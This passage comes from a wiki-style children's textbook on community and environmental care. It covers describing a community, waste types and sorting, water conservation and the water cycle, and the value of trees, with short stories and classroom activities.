experience of racism), or '''interest''' (e.g., a community's concern about poverty or violence prevention). These various communities often overlap. A Black art teacher, for example, might see herself (or be seen by others) as a member of the Black, arts, and/or education communities, as well as of a particular faith community. Whichever community defines your work, you will want to get to know it well. Examples of communities include homes, schools, villages and neighborhoods. People in a community share places and resources. They should help one another and work together to solve problems.<ref>{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}</ref> === What do we mean by understanding and describing the community? === Understanding the community entails understanding it in a number of ways. Whether or not the community is defined geographically, it still has a geographic context -- a setting that it exists in. Getting a clear sense of this setting may be key to a full understanding of it. At the same time, it's important to understand the specific community you're concerned with. You have to get to know its people -- their culture, their concerns, and relationships -- and to develop your own relationships with them as well. * ''Physical aspects''. Every community has a physical presence of some sort, even if only one building. Most have a geographic area or areas they are either defined by or attached to. It's important to know the community's size and the look and feel of its buildings, its topography (the lay of the land -- the hills, valleys, rivers, roads, and other features you'd find on a map), and each of its neighborhoods. Also important are how various areas of the community differ from one another, and whether your impression is one of clean, well-maintained houses and streets, or one of shabbiness, dirt, and neglect. If the community is one defined by its population, then its physical properties are also defined by the population: where they live, where they gather, the places that are important to them. The characteristics of those places can tell you a great deal about the people who make up the community. Their self-image, many of their attitudes, and their aspirations are often reflected in the places where they choose -- or are forced by circumstance or discrimination -- to live, work, gather, and play. * ''Infrastructure''. Roads, bridges, transportation (local public transportation, airports, train lines), electricity, landline and mobile telephone service, broadband service, and similar "basics" make up the infrastructure of the community, without which it couldn't function. * ''Patterns of settlement, commerce, and industry''. Where are those physical spaces we've been discussing? Communities reveal their character by where and how they create living and working spaces. Where there are areas with severely inadequate housing and limited services --  substandard housing in areas with few or no services that are the only options for people with lower incomes -- the value the larger community places on those residents seems clear. Are heavy industries located next to residential neighborhoods? If so, who lives in those neighborhoods? Are some parts of the community dangerous, either because of high crime and violence or because of unsafe conditions in the built or natural environment? * ''Demographics''.  It's vital to understand who makes up the community.  Age, gender, race and ethnicity, marital status, education, number of people in household, first language -- these and other statistics make up the demographic profile of the population. When you put them together (e.g.,  the education level of black women ages 18-24), it gives you a clear picture of who community residents are. * ''History''. The long-term history of the community can tell you about community traditions, what the community is, or has been, proud of, and what residents would prefer not to talk about. Recent history can afford valuable information about conflicts and factions within the community, important issues, past and current relationships among key people and groups -- many of the factors that can trip up any effort before it starts if you don't know about and address them. * ''Community leaders, formal and informal''. Some community leaders are elected or appointed -- mayors, city councilors, directors of public works. Others are considered leaders because of their activities or their positions in the community -- community activists, corporate CEO's, college presidents, doctors, clergy.  Still others are recognized as leaders because, they are trusted for their proven integrity, courage, and/or care for others and the good of the community. * ''Community culture, formal and informal''. This covers the spoken and unspoken rules and traditions by which the community lives. It can include everything from community events and slogans -- the blessing of the fishing fleet, the "Artichoke Capital of the World" -- to norms of behavior -- turning a blind eye to alcohol use disorder or domestic violence -- to patterns of discrimination and exercise of power. Understanding the culture and how it developed can be crucial, especially if that's what you're attempting to change. * ''Existing groups''.  Most communities have an array of groups and organizations of different kinds -- service clubs (Lions, Rotary, etc.), faith groups, youth organizations, sports teams and clubs, groups formed around shared interests, the boards of community-wide organizations (the YMCA, the Rotary Club), as well as groups devoted to self-help, advocacy, and activism.  Knowing of the existence and importance of each of these groups can pave the way for alliances or for understanding opposition. * ''Existing institutions''. Every community has institutions that are important to it, and that have more or less credibility with residents. Colleges and universities, libraries, religious institutions, hospitals -- all of these and many others can occupy important places in the community. It's important to know what they are, who represents them, and what influence they wield. * ''Economics''.  Who are the major employers in the community?  What, if any, business or industry is the community's base? Who, if anyone, exercises economic power? How is wealth distributed? Would you characterize the community as poor, working, class, middle class, or affluent?  What are the economic prospects of the population in general and/or the population you're concerned with? * ''Government/Politics''. Understanding the structure of community government is obviously important. Some communities may have strong mayors and weak city councils, others the opposite. Still other communities may have no mayor at all, but only a town manager, or may have a different form of government entirely.  Whatever the government structure, where does political power lie? Understanding where the real power is can be the difference between a successful effort and a vain one. * ''Social structure''. Many aspects of social structure are integrated into other areas -- relationships, politics, economics -- but there are also the questions of how people in the community relate to one another on a daily basis, how problems are (or aren't) resolved, who socializes or does business with whom, etc. This area also includes perceptions and symbols of status and respect, and whether status carries entitlement or responsibility (or both). * ''Attitudes and values''. Again, much of this area may be covered by investigation into others, particularly culture. What does the community care about, and what does it ignore? What are residents' assumptions about the proper way to behave, to dress, to do business, to treat others? Is there widely accepted discrimination against one or more groups by the majority or by those in power? What are the norms for interaction among those who with different opinions or different backgrounds? '''We'll discuss all of these aspects of community in greater detail later in the section.'''<blockquote>There are obviously many more aspects of community that can be explored, such as health or education.  The assumption here is that as part of an assessment, you'll aim for a general understanding of the community, as described in this section, and also assess, with a narrower focus, the specific aspects you're interested in.</blockquote>Once you've explored the relevant areas of the community, you'll have the information to create a community description. Depending on your needs and information, this description might be anything from a two-or three-page outline to an in-depth portrait of the community that extends to tens of pages and includes charts, graphs, photographs, and other elements. The point of doing it is to have a picture of the community at a particular point in time that you can use to provide a context for your community assessment and to see the results of whatever actions you take to bring about change.<blockquote>A community description can be as creative as you're capable of making it.  It can be written as a story, can incorporate photos and commentary from community residents, can be done online and include audio and video, etc. The more interesting the description is, the more people are likely to actually read it.</blockquote> === Caring for Our Surroundings and the enviroment === Our surroundings or environment is the natural world around you the air, water, land, plants, and animals. Everything in nature is part of your environment. You share this environment with people, animals, and plants in your community. === '''How you can care for your surroundings''' === === Reduce, Reuse, and Recycle === You can follow the three-R rule every day. '''Reduce''' means using less so you make less waste. '''Reuse''' means using something again instead of throwing it away. '''Recycle''' means turning old materials into new ones. For example, you can use a reusable lunch bag and water bottle at school. You can decorate an old jar and use it as a pencil holder. You can put paper and plastic bottles in the recycling bin. === Sorting Your Waste === You sort your waste by putting it in the right bin. Banana peels go in the '''compost bin'''. A plastic bottle goes in the '''recycling bin'''. A broken toy that cannot be fixed goes in the '''garbage bin'''. Sorting waste properly helps protect the environment. === Composting === Composting means collecting food waste like; banana peels, left overs and vegetable cuttings. These wastes break down and turn into rich soil for gardens. === Saving Water and Energy === You can save water by turning off the tap while brushing your teeth. You can save electricity by turning off lights when you leave a room. These small actions help protect natural resources every single day. === Planting Trees and Native Plants === Trees clean the air and give animals a home. Planting flowers and native plants in your garden helps birds, bees, and butterflies find food and shelter. This supports the wildlife in your neighborhood. Additionally, you can help by; Cleaning our homes, classrooms and playgrounds, and Keeping water sources clean. * Avoiding damage to public property. * Helping people who need support. === Children's Responsibilities === Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.<ref>{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}</ref> Children should respect others, avoid littering and report dangerous or dirty places to trusted adults. === Short Story: The Rubbish Behind the Library === Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library. The area became clean and beautiful. Other pupils followed their example. '''Lesson:''' Everyone can help to improve the community. === Activity and Discussion === # What is a community? # Name three ways of keeping your school clean. # Why should children care for their surroundings? # Organize a small classroom cleaning activity. == Chapter 2: Types of Waste and Every Piece of Rubbish Has a Place == === Introduction === Every day, people produce waste. We throw away food scraps, plastic bottles, paper, cans, old clothes, broken equipment, and many other things. Waste is a normal part of human life, but the way we handle it determines whether it becomes a danger or a useful resource. Waste that is thrown anywhere can make our surroundings dirty, block drainage channels, pollute water, attract pests, and spread disease. However, when waste is '''sorted, reused, recycled, treated, or disposed of correctly''', it can be managed safely. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. ---- === 1. What Is Waste? === '''Waste''' is any material, substance, or object that a person no longer wants or needs and decides to discard.<ref>{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}</ref> Examples include: * Banana peels * Plastic bottles * Newspapers * Empty tins * Broken glass * Old batteries * Used clothes * Food leftovers * Broken electronic devices Not all waste is the same. Different materials have different effects on the environment and require different methods of handling. ---- === 2. Types of Waste === Waste can be classified in several ways. The most common classification is according to its '''nature and source'''. ==== A. Biodegradable Waste ==== '''Biodegradable waste''' is waste that can be broken down naturally by microorganisms such as bacteria and fungi. Examples include: * Fruit and vegetable peels * Food leftovers * Leaves * Grass * Animal manure * Paper and some untreated natural materials Biodegradable waste can often be turned into '''compost''', which is useful for improving soil. === Example === Instead of throwing banana peels into a general rubbish pile, they can be collected with other organic materials and composted. '''Remember:''' '''Biodegradable = can naturally break down.''' ---- ==== B. Non-Biodegradable Waste ==== '''Non-biodegradable waste''' does not break down easily through natural processes, or it may take a very long time to do so. Examples include: * Plastic bags * Plastic bottles * Glass * Some metals * Synthetic materials Some non-biodegradable materials can be '''reused or recycled''' rather than thrown away. === Why is it a problem? === When non-biodegradable waste is poorly managed, it can remain in the environment for long periods and contribute to land and water pollution. '''Remember:''' '''Non-biodegradable = does not easily break down naturally.''' ---- === 3. Recyclable Waste === '''Recyclable waste''' consists of materials that can be collected and processed into new products.<ref>{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}</ref> Common recyclable materials include: * Paper * Cardboard * Certain plastics * Aluminium cans * Steel cans * Glass bottles and containers For recycling to work effectively, materials should be '''sorted and kept reasonably clean'''.<ref>{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}</ref> === Example === An empty metal drink can can be collected, processed, and used to make new metal products instead of being sent directly to a landfill. ---- === 4. Hazardous Waste === '''Hazardous waste''' is waste that can cause harm to people, animals, or the environment if it is handled or disposed of incorrectly. Examples include: * Used batteries * Certain chemicals * Pesticide containers * Some paints and solvents * Medical sharps * Some electronic waste * Certain cleaning products Hazardous waste should '''not simply be mixed with ordinary household rubbish'''. It may require special collection, treatment, or disposal. ==== Safety rule ==== Never play with, burn, open, or pour unknown chemicals or hazardous waste into drains, rivers, or onto the ground. ---- === 5. Electronic Waste === '''Electronic waste''', commonly called '''e-waste''', includes unwanted electrical and electronic equipment. Examples include: * Old mobile phones * Computers * Televisions * Radios * Chargers * Keyboards * Printers * Broken appliances Electronic devices contain valuable materials that can sometimes be recovered and reused. They may also contain substances that require careful handling. Therefore, unwanted electronics should be taken to appropriate collection or recycling facilities where available. ---- === 6. Medical Waste === '''Medical waste''' is waste produced during healthcare activities. Examples include: * Used syringes * Needles * Bandages * Gloves * Contaminated dressings * Certain medicines and medical materials Medical waste can pose health risks if it is not properly handled. For example, '''used needles should never be placed loosely into ordinary rubbish''', because they can injure people and potentially transmit infection. Healthcare facilities use special containers and procedures for managing such waste. ---- === 7. Construction and Demolition Waste === Construction activities produce waste such as: * Broken bricks * Concrete * Soil * Wood * Roofing materials * Scrap metal * Tiles Some of these materials can be reused in construction or recycled. Good construction waste management reduces unnecessary dumping and saves useful materials. ---- === 8. Liquid Waste === '''Liquid waste''' is waste in liquid form. Examples include: * Wastewater * Used cooking oil * Certain industrial liquids * Sewage * Some chemical liquids Liquid waste must be managed carefully because it can easily enter soil, drains, streams, lakes, and groundwater. '''Never pour hazardous liquids into a river, open drain, or onto bare soil.''' ---- === 9. Gaseous Waste === Some human activities release waste substances into the air in the form of gases or particles. Sources can include: * Vehicle exhaust * Industrial processes * Burning waste * Certain fuel-burning appliances Poor management of air pollutants can contribute to poor air quality and environmental damage. This is one reason '''open burning of rubbish is generally a poor waste-management practice''', especially when plastics and other materials are burned. ---- === 10. Every Piece of Rubbish Has a Place === The statement '''“Every piece of rubbish has a place”''' teaches us that waste should not be thrown carelessly. Different kinds of waste should go to appropriate destinations. A simple waste-sorting system can look like this: {| class="wikitable" !Type of waste !Examples !Suitable action |- |Organic waste |Food scraps, leaves |Composting |- |Paper/cardboard |Newspapers, boxes |Reuse or recycle |- |Plastics |Bottles, containers |Reuse or recycle where facilities exist |- |Glass |Bottles, jars |Reuse or recycle |- |Metals |Cans, scrap metal |Recycle |- |E-waste |Phones, computers |Special collection/recycling |- |Hazardous waste |Batteries, chemicals |Special handling |- |Medical waste |Needles, contaminated materials |Approved medical-waste system |- |General residual waste |Materials that cannot be recovered |Appropriate final disposal |} The exact collection system differs from one community to another, so people should follow the waste-sorting rules used by their local authority or waste-collection service. ---- === 11. The Waste Hierarchy === Good waste management does not begin with throwing things away. It follows a hierarchy that encourages people to prevent waste first. ==== 1. Refuse ==== Avoid unnecessary items when possible. '''Example:''' Refuse unnecessary single-use packaging. ==== 2. Reduce ==== Use fewer resources and produce less waste. '''Example:''' Buy only the food you are likely to use. ===== 3. Reuse ===== Use an item again instead of throwing it away. '''Example:''' Use a durable shopping bag repeatedly. ===== 4. Repair ===== Fix broken items when practical. '''Example:''' Repair a chair rather than immediately replacing it. ===== 5. Recycle ===== Process suitable materials into new products. '''Example:''' Recycle suitable paper, metal, glass, and plastics. ===== 6. Recover ===== Recover useful materials or energy from waste through appropriate processes. ===== 7. Dispose ===== Waste that cannot reasonably be reused, recycled, or recovered should be disposed of safely. '''The key lesson is: disposal should not be our first choice.''' ---- === 12. Why Proper Waste Management Matters === Proper waste management has many benefits. ==== Protects human health ==== Accumulated rubbish can attract flies, rats, and other pests. Poorly managed waste can also create opportunities for disease transmission. ==== Protects water ==== Waste dumped into waterways can contaminate rivers, lakes, and other sources of water. ==== Protects soil ==== Chemicals and other harmful substances can contaminate soil when waste is poorly disposed of. ==== Keeps communities clean ==== Clean streets, schools, homes, and public spaces are safer and more pleasant. ==== Saves resources ==== Recycling and reuse allow valuable materials to remain in use rather than constantly requiring new raw materials. ==== Reduces pollution ==== Sorting and treating waste properly can reduce pollution caused by dumping and inappropriate burning. ---- === 13. Waste Management at Home and School === Everyone can contribute to better waste management. ==== At home ==== * Keep rubbish in suitable containers. * Separate organic waste from recyclable materials where possible. * Compost suitable organic waste. * Reuse containers and bags. * Avoid unnecessary single-use products. * Keep hazardous materials separate. * Never dump rubbish in drainage channels or waterways. ==== At school ==== Schools can: * Provide clearly labelled waste bins. * Teach learners about waste separation. * Organise clean-up activities. * Encourage reusable water bottles. * Collect paper for recycling where facilities exist. * Compost suitable food and garden waste. * Ensure sharp or hazardous materials are handled safely. ---- === 14. A Simple Waste-Sorting Activity === Imagine that you have the following items: # Banana peel # Plastic water bottle # Newspaper # Broken battery # Glass bottle # Old mobile phone # Food leftovers # Used needle How should they be handled? * '''Banana peel →''' organic waste/compost * '''Plastic bottle →''' reuse or appropriate plastic recycling * '''Newspaper →''' reuse or paper recycling * '''Battery →''' special battery/e-waste collection * '''Glass bottle →''' reuse or glass recycling * '''Old mobile phone →''' e-waste collection/recycling * '''Food leftovers →''' composting where appropriate * '''Used needle →''' approved sharps/medical-waste disposal This demonstrates why '''sorting waste at the point where it is produced''' is so important. ---- === 15. Key Vocabulary === '''Waste:''' Material that is discarded because it is no longer wanted or needed. '''Biodegradable:''' Able to break down naturally through biological processes. '''Non-biodegradable:''' Not easily broken down naturally. '''Recycle:''' Process used materials so they can be made into new products. '''Reuse:''' Use an item again instead of discarding it. '''Compost:''' Decomposed organic material that can be used to improve soil. '''Hazardous waste:''' Waste that can pose a danger to people or the environment. '''E-waste:''' Discarded electrical and electronic equipment. === Short Story: Amina's Big Idea === Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers. Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers. '''Lesson:''' Waste materials can sometimes be reused in useful ways. === Practical Activity === Collect safe reusable materials and make a useful object, such as a flowerpot, pencil holder or decoration. == Chapter 3: Water Is Life == === Introduction === Water is one of the most important resources on Earth. Every living thing needs water to survive. People, animals, and plants all depend on water for life and growth. We use water every day for drinking, cooking, bathing, washing clothes, cleaning, farming, and many other activities. Water is also important in industries, transport, energy production, and recreation. Because water is essential for life, we must use it wisely, protect it from pollution, and make sure that everyone has access to safe water. ---- === 1. What Is Water? === Water is a natural substance made up of hydrogen and oxygen. In its pure form, it has no colour, smell, or taste. Water exists in three main states: * '''Liquid''' – such as water in rivers, lakes, and oceans. * '''Solid''' – such as ice and snow. * '''Gas''' – water vapour found in the atmosphere. Water constantly moves between these states through the '''water cycle'''. ---- === 2. Sources of Water === Water comes from different natural sources. ==== A. Rainwater ==== Rain is an important source of fresh water. Rainwater fills rivers, lakes, wetlands, and reservoirs and also helps to replenish groundwater. People can collect rainwater from rooftops and store it in tanks for appropriate household or other uses. ==== B. Rivers and Streams ==== Rivers and streams provide water for domestic use, agriculture, livestock, industry, and ecosystems. However, water from rivers may contain microorganisms, chemicals, or other contaminants. It may therefore require appropriate treatment before it is safe to drink. ==== C. Lakes ==== Lakes contain large amounts of water and support people, plants, animals, and economic activities. Lakes can provide water for communities, fishing, agriculture, transport, and recreation. ==== D. Groundwater ==== Groundwater is water stored beneath the Earth's surface in soil and rock. It can be accessed through: * Wells * Boreholes * Springs Groundwater is an important source of drinking water in many communities. ==== E. Wetlands ==== Wetlands are areas where water covers or saturates the land for part or all of the year. They provide important environmental services, including storing water, supporting wildlife, and helping to filter pollutants. ---- === 3. Why Water Is Life === Water is essential for almost every activity that supports life. ==== A. Water for Drinking ==== The human body needs water to function properly. People lose water through activities such as breathing, sweating, and urination, so they need to replace it regularly. Safe drinking water is important for maintaining good health. ==== B. Water for Food Production ==== Farmers need water to grow crops and keep animals healthy. Water is used for: * Irrigation * Watering livestock * Cleaning agricultural equipment * Processing some agricultural products Without sufficient water, food production can be seriously affected. ==== C. Water for Plants ==== Plants need water for growth and survival. Water helps plants transport nutrients and supports photosynthesis. Without enough water, plants may wilt, stop growing, or die. ==== D. Water for Animals ==== Animals need water for drinking and other biological processes. Rivers, lakes, wetlands, and other water bodies also provide habitats for many animals. ==== E. Water for Hygiene and Sanitation ==== Water is essential for: * Washing hands * Bathing * Cleaning homes * Washing clothes * Cleaning utensils * Flushing toilets Good hygiene and sanitation help protect communities from disease. ==== F. Water in Industry ==== Industries use water for many purposes, including: * Manufacturing * Cooling machinery * Cleaning * Food processing * Producing certain goods Industries must manage water responsibly and prevent harmful substances from entering water sources. ---- === 4. The Water Cycle === Water does not simply disappear after it is used. It moves continuously through the environment in a process called the '''water cycle'''. The main stages include: ==== 1. Evaporation ==== Heat from the Sun causes water from oceans, lakes, rivers, and other surfaces to change into water vapour. ==== 2. Transpiration ==== Plants release water vapour into the atmosphere through tiny openings in their leaves. ==== 3. Condensation ==== Water vapour rises, cools, and forms tiny droplets that make clouds. ==== 4. Precipitation ==== When water droplets become sufficiently large, they fall to Earth as: * Rain * Snow * Sleet * Hail ==== 5. Collection and Infiltration ==== Water collects in rivers, lakes, oceans, and other water bodies. Some water also soaks into the ground and becomes groundwater. The cycle then continues. ---- === 5. Clean Water and Polluted Water === Not all water is safe to drink. '''Clean and safe water''' is water that does not contain harmful levels of microorganisms, chemicals, or other contaminants. '''Polluted water''' contains substances that can harm people, animals, plants, or ecosystems. Water pollution can come from many sources. === Examples include: === * Sewage * Plastic waste * Oil * Industrial chemicals * Agricultural chemicals * Animal waste * Household waste * Soil and sediment ---- === 6. Effects of Water Pollution === Water pollution can have serious consequences. ==== A. Human Health ==== Contaminated water can contribute to diseases and other health problems, particularly where sanitation and water treatment are inadequate. ==== B. Aquatic Life ==== Pollution can harm fish, insects, plants, amphibians, and other organisms living in water. ==== C. Food Production ==== Polluted water used for agriculture can affect crops, livestock, and food safety. ==== D. The Environment ==== Pollution can damage aquatic ecosystems and reduce the quality of habitats. ==== E. Economic Activities ==== Fishing, tourism, agriculture, and other activities can suffer when water resources become polluted. ---- === 7. How We Can Protect Water === Everyone has a role to play in protecting water resources. ==== At Home ==== * Do not throw rubbish into drains, rivers, or lakes. * Repair leaking taps and pipes. * Use only the water you need. * Avoid wasting water while washing. * Dispose of chemicals and oils appropriately. * Keep toilets and sanitation facilities clean. ==== At School ==== Students can: * Turn off taps after use. * Report leaking taps and pipes. * Keep school compounds free from litter. * Avoid throwing rubbish into drainage channels. * Participate in water-conservation activities. * Teach others about the importance of water. ==== In the Community ==== Communities can: * Protect wells, springs, rivers, and wetlands. * Prevent dumping near water sources. * Plant and protect vegetation where appropriate. * Maintain drainage and sanitation systems. * Encourage responsible water use. * Support safe water and sanitation projects. ---- === 8. Water Conservation === '''Water conservation''' means using water carefully and avoiding unnecessary waste. Simple actions can save large amounts of water. === Examples === Instead of leaving a tap running while brushing your teeth, turn it off when water is not needed. When washing clothes or dishes, use a reasonable amount of water rather than allowing water to run continuously. Leaking taps and pipes should be repaired because a small leak can waste water over time. Rainwater can also be collected and used for suitable purposes. ---- === 9. The Importance of Wetlands and Forests === Natural ecosystems help protect water resources. ==== Wetlands ==== Wetlands can store water, provide habitats, and help remove some pollutants from water. ==== Forests and Vegetation ==== Vegetation helps protect soil and can reduce erosion and surface runoff. Vegetated areas around water bodies can therefore contribute to the protection of water quality. Destroying wetlands and removing vegetation carelessly can increase environmental problems such as erosion, flooding, and water pollution. ---- === 10. Safe Drinking Water === Water intended for drinking should be obtained from a safe source and, where necessary, treated appropriately. Methods of treating water may include: * Boiling * Filtration * Chlorination * Other approved water-treatment methods The correct treatment method depends on the source and the contaminants that may be present. Water should also be stored safely in clean, covered containers to reduce the chance of contamination. ---- === 11. Water and Our Future === Fresh water is limited and unevenly distributed. Some communities have reliable access to safe water, while others face shortages or difficulties accessing clean water. Population growth, pollution, climate variability, changing land use, and increasing demand can place pressure on water resources. Protecting water today helps ensure that future generations can also benefit from this essential resource. ---- === 12. Practical Activity: Saving Water === ==== Activity ==== For one day, observe how water is used at home or school. Make a list of activities such as: * Drinking * Cooking * Bathing * Washing hands * Washing clothes * Cleaning * Watering plants Then identify activities where water may be wasted. ==== Questions ==== # Which activity uses the most water? # Where is water being wasted? # How could the waste be reduced? # What can you do personally to save water? Discuss your answers with your classmates or family members. ---- === 13. Key Vocabulary === '''Water:''' A natural substance essential for life. '''Water cycle:''' The continuous movement of water through the environment. '''Evaporation:''' The change of liquid water into water vapour. '''Condensation:''' The change of water vapour into liquid droplets. '''Precipitation:''' Water falling from clouds as rain, snow, sleet, or hail. '''Groundwater:''' Water stored beneath the Earth's surface. '''Water pollution:''' The contamination of water by harmful substances. '''Water conservation:''' The careful and responsible use of water. '''Wetland:''' Land that is covered or saturated with water for part or all of the year. '''Sanitation:''' Systems and practices for safely managing human waste and maintaining hygiene. ---- === 14. Summary === Water is essential for '''people, animals, plants, agriculture, sanitation, industry, and ecosystems'''. It comes from sources such as rain, rivers, lakes, groundwater, and wetlands. Water moves continuously through the '''water cycle''', but clean and accessible freshwater is a valuable resource that must be protected. Pollution, waste, careless use, and damage to natural ecosystems can threaten water resources. We can help by '''saving water, preventing pollution, protecting water sources, practising good sanitation, and using water responsibly'''. The most important lesson is simple:<blockquote>'''Water is life. Protect every drop.'''</blockquote> ==== Short Story: The Dirty Stream ==== Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it. The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream. '''Lesson:''' Protecting water requires teamwork and responsible behavior. ==== Water-Protection Challenge ==== For one week: * Close taps properly after use. * Use only the water you need. * Keep water containers clean. * Encourage others not to pollute water sources. == Chapter 4: Trees == === Introduction === Trees are among the most useful living things on Earth. They grow in forests, gardens, farms, school compounds, along roads, and around our homes. Trees provide food, shelter, shade, materials, and many other benefits. Trees also help protect the environment. They absorb carbon dioxide from the atmosphere, release oxygen through photosynthesis, help protect soil from erosion, and provide habitats for many animals. For these reasons, trees can truly be described as '''our friends'''. However, trees need care and protection so that they can continue benefiting people and the environment. ---- === 1. What Is a Tree? === A tree is a large plant with a woody stem or trunk, branches, leaves, and roots. The main parts of a tree include: * '''Roots''' – anchor the tree in the soil and absorb water and minerals. * '''Trunk''' – supports the tree and transports water and nutrients. * '''Branches''' – hold the leaves, flowers, and fruits. * '''Leaves''' – make food for the tree through photosynthesis. * '''Flowers''' – help many trees reproduce. * '''Fruits and seeds''' – help produce new trees. Trees vary greatly in size, shape, and appearance. ---- === 2. Trees Give Us Oxygen === Trees and other green plants carry out '''photosynthesis'''. During photosynthesis, plants use: * Sunlight * Water * Carbon dioxide to produce food, while releasing oxygen into the atmosphere. Oxygen is needed by humans and many animals for respiration. Trees therefore play an important role in maintaining the gases that support life. ---- === 3. Trees Give Us Food === Many trees provide food for people and animals. Examples include: * Mango trees * Avocado trees * Orange trees * Jackfruit trees * Banana plants * Coconut palms Trees can provide fruits, nuts, seeds, leaves, and other edible products. Animals also depend on trees for food. ---- === 4. Trees Provide Shade === Trees provide shade from strong sunlight. People can sit under trees to rest, study, talk, or relax. Trees around homes, schools, parks, and public spaces can make these places more comfortable. Shade from trees can also help reduce the amount of direct sunlight reaching buildings and the ground. ---- === 5. Trees Provide Homes for Animals === Trees are important habitats for many living organisms. Birds may build nests in branches. Insects may live on leaves and bark. Monkeys, squirrels, reptiles, and other animals may use trees for shelter, food, or movement. A large tree can therefore support many different forms of life. When trees are destroyed, animals can lose their homes and sources of food. ---- === 6. Trees Protect the Soil === Tree roots hold soil together. When heavy rain falls on bare soil, it can wash soil away. This process is called '''soil erosion'''. Trees can help reduce erosion because: * Their roots hold soil together. * Their leaves and branches reduce the force of falling rain. * Fallen leaves cover the soil. * Tree-covered land can slow surface runoff. Protecting trees is therefore one way of helping to protect soil. ---- === 7. Trees Help Protect Water === Trees and other vegetation play an important role in the water cycle. Their roots help water enter and move through the soil. Vegetation can also reduce soil erosion and the amount of sediment carried into rivers and lakes. Trees growing near water bodies can therefore contribute to the protection of water resources. ---- === 8. Trees Help Fight Climate Change === Trees absorb '''carbon dioxide''', a greenhouse gas, as they grow. Through photosynthesis, trees use carbon dioxide to make food. Some of the carbon becomes stored in the tree's wood, roots, and other parts. Forests and other ecosystems therefore store significant amounts of carbon. Protecting existing forests and planting appropriate trees can contribute to efforts to address climate change, although trees are only one part of the solution. ---- === 9. Trees Provide Materials === Trees provide materials that people use in everyday life. Wood can be used to make: * Furniture * Doors * Houses * Poles * Tools * Paper products Some trees also provide materials such as: * Rubber * Cork * Resins * Fibres * Oils These materials support many livelihoods and industries. However, trees should be harvested responsibly, and forests should be managed sustainably. ---- === 10. Trees Provide Medicine === Some trees contain substances that have been used traditionally or scientifically in medicines and other health-related products. Examples of trees associated with traditional or medicinal uses include: * Neem * Eucalyptus * Cinchona * Some species of acacia Medicinal plants should be used carefully. Traditional knowledge does not automatically mean that a plant is safe or effective for every medical condition. ---- === 11. Trees Improve the Environment === Trees contribute to healthier surroundings in several ways. They can: * Provide habitats for wildlife. * Help reduce soil erosion. * Store carbon. * Provide shade. * Improve the appearance of landscapes. * Reduce wind speeds in some areas. * Contribute to cleaner and cooler local environments. Trees in towns and cities can be especially valuable because they provide shade and green spaces among buildings and roads. ---- === 12. Trees and the Air We Breathe === Trees interact with the atmosphere in important ways. Their leaves absorb carbon dioxide during photosynthesis and release oxygen. Trees can also trap some airborne particles on their leaves. However, trees do not remove all air pollution, and planting the right species in appropriate locations is important. ---- === 13. Why People Cut Down Trees === People cut down trees for different reasons. These include: * Getting firewood * Producing charcoal * Obtaining timber * Clearing land for farming * Building houses and roads * Producing paper and other products Some tree harvesting is necessary for human needs. The problem arises when trees are removed '''faster than they can naturally or deliberately be replaced'''. This can lead to '''deforestation'''. ---- === 14. Effects of Deforestation === '''Deforestation''' is the large-scale removal of forests or trees from an area. Deforestation can result in: * Loss of wildlife habitats * Increased soil erosion * Loss of biodiversity * Reduced carbon storage * Changes in local water cycles * Loss of valuable forest resources When forests are cleared without proper management, the environmental and social consequences can be serious. ---- === 15. How We Can Protect Trees === Everyone can help protect trees. ==== At Home ==== * Plant suitable trees. * Avoid unnecessary cutting of trees. * Use wood and paper responsibly. * Protect young trees from damage. * Compost suitable organic waste and return nutrients to the soil where appropriate. ==== At School ==== Students can: * Plant and care for trees. * Avoid damaging tree trunks and branches. * Keep school gardens clean. * Water young trees when necessary. * Learn about local tree species. * Organise tree-care activities. ==== In the Community ==== Communities can: * Protect forests and woodlands. * Plant appropriate native or well-adapted species. * Prevent uncontrolled cutting. * Encourage sustainable forestry. * Protect trees along rivers and other sensitive areas. * Educate people about the value of trees. ---- === 16. Planting a Tree === Planting a tree is useful, but simply putting a seedling in the ground is not enough. The tree must be cared for. ==== Basic steps ==== # '''Choose a suitable species''' for the local environment. # '''Choose an appropriate location''' with enough space for the mature tree. # '''Prepare the soil''' and dig a suitable planting hole. # '''Plant the seedling carefully.''' # '''Water it when necessary''', especially during dry periods. # '''Protect it from animals and damage.''' # '''Remove competing weeds when appropriate.''' # '''Continue caring for the tree as it grows.''' A healthy mature tree may take many years to develop, so tree planting requires patience. ---- === 17. Trees and Responsibility === Trees belong to a wider ecosystem. When we care for them, we are also helping many other organisms. We should remember:<blockquote>'''Plant a tree, care for a tree, and protect a tree.'''</blockquote>Planting trees is important, but '''protecting existing mature trees is also very valuable''' because mature trees already provide established habitat, shade, and carbon storage. ---- === 18. Practical Activity: Adopt a Tree === Choose a tree at your school or home. Observe it regularly and record: * Its height or approximate size * The shape of its leaves * Whether it has flowers or fruits * Animals or insects found on it * Changes you observe over several weeks Give the tree a name if you wish and create a simple care schedule. === Questions === # What type of tree did you observe? # What benefits does it provide? # Which animals use 